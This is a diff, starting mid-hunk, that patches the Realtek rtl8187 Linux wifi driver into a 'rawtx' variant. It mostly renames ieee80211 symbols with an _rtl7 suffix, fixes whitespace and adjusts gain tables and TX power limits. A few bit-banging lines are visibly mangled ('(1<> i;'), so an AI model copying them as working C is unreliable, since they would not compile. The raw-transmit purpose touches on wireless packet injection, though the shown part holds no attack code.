(*data_hard_resume)(struct net_device *dev); - + /* ask to the driver to retune the radio . * This function can sleep. the driver should ensure * the radio has been swithced before return. */ void (*set_chan)(struct net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-01-30 17:38:11.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : 